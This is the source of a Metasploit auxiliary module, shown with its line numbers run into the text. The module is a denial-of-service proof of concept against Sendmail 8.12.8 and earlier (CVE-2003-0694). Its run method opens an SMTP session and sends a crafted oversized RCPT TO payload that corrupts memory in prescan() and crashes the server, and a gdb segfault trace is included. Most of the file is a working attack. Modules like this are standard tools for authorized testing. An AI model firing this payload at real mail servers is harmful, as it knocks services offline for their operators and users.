Path: blob/master/modules/auxiliary/dos/smtp/sendmail_prescan.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Smtp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Sendmail SMTP Address prescan Memory Corruption',14'Description' => %q{15This is a proof of concept denial of service module for Sendmail versions168.12.8 and earlier. The vulnerability is within the prescan() method when17parsing SMTP headers. Due to the prescan function, only 0x5c and 0x0018bytes can be used, limiting the likelihood for arbitrary code execution.19},20'Author' => [ 'aushack' ],21'References' => [22[ 'OSVDB', '2577' ],23[ 'CVE', '2003-0694' ],24[ 'BID', '8641' ],25[ 'EDB', '24' ]26],27'DisclosureDate' => '2003-09-17',28'Notes' => {29'AKA' => ['EARLYSHOVEL'],30'Stability' => [CRASH_SERVICE_DOWN],31'SideEffects' => [],32'Reliability' => []33}34)35)36end3738def run39connect40# we use connect instead of connect_login,41# because we send our own malicious RCPT.42# however we want to make use of MAILFROM43# and raw_send_recv()44# select(nil,nil,nil,23) # so we can attach gdb to the child PID4546sploit = ('A' * 255 + ';') * 4 + 'A' * 217 + ';' + "\x5c\xff" * 284748raw_send_recv("EHLO X\r\n")49raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")50print_status('Sending DoS packet.')51raw_send_recv("RCPT TO: #{sploit}\r\n")5253disconnect54rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout55print_status("Couldn't connect to #{rhost}:#{rport}")56rescue ::EOFError57print_status('Sendmail stopped responding after sending trigger - target vulnerable.')58end59end6061=begin62Program received signal SIGSEGV, Segmentation fault.630x8073499 in ?? ()64(gdb) bt65#0 0x807e499 in ?? ()66#1 0x087e125 in ?? ()67#2 0x5c5c5c5c in ?? ()68Error accessing memory address 0x5c5c5c5c: Bad address.69=end707172